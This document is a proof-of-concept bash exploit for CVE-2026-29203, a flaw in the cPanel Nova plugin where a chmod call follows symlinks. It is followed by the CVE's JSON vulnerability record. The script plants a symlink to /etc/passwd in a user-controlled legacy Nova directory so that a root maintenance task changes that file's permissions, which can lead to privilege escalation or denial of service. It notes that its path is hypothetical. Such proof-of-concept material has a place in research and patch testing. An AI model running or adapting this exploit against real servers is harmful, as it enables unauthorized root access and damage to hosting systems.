CVE-2026-29203

#!/bin/bash # PoC for CVE-2026-29203 # Description: Exploit symlink vulnerability in cPanel Nova plugin chmod call. # Impact: Local Privilege Escalation or DoS TARGET_FILE="/etc/passwd" # Target file to modify permissions # User-controlled legacy Nova path (hypothetical path based on description) NOVA_LEGACY_PATH="$HOME/.cpanel/nova/legacy" SYMLINK_NAME="exploit_symlink" echo "[+] Exploit start: CVE-2026-29203" # 1. Create the directory if it doesn't exist mkdir -p "$NOVA_LEGACY_PATH" # 2. Create a symbolic link pointing to a root-owned system file ln -s -f "$TARGET_FILE" "$NOVA_LEGACY_PATH/$SYMLINK_NAME" echo "[+] Symlink created at: $NOVA_LEGACY_PATH/$SYMLINK_NAME" echo "[+] Symlink points to: $TARGET_FILE" echo "[*] Wait for the cPanel cron job or maintenance task to trigger." echo "[*] When the task runs 'chmod' on the legacy path, $TARGET_FILE will be affected." # End of PoC

{"cve": {"id": "CVE-2026-29203", "sourceIdentifier": "[email protected]", "published": "2026-05-08T19:16:30.147", "lastModified": "2026-05-08T20:16:30.013", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A chmod call in the cPanel Nova plugin's Cpanel::Nova::Connector follows symlinks, allowing setting root permissions on arbitrary system files or directories. That can cause DoS or local privilege escalation when an authenticated cPanel user places a symlink at a user-controlled legacy Nova path under their home directory."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-61"}]}], "references": [{"url": "https://support.cpanel.net/hc/en-us/articles/40311543760407-Security-CVE-2026-29203-cPanel-WHM-WP2-Security-Update-May-08-2026", "source": "[email protected]"}]}}